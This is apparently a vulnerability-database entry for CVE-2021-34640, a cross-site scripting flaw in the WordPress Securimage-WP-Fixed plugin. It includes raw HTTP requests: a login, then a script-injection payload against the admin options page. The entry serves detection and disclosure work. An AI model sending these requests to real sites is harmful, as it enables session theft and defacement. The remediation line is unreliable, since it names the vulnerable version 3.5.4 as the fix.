| Title | WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12179 |
| CVE ID | CVE-2021-34640 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress wp-plugin authenticated securimage-wp-fixed_project vuln |
WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=AYGvaY&pwd=YgYf8e&wp-submit=Log+In&testcookie=1
GET //wp-admin/options-general.php/%22%3E%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/script%3E?page=securimage-wp-options%2F HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34640.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34640.pcap
N/AN/A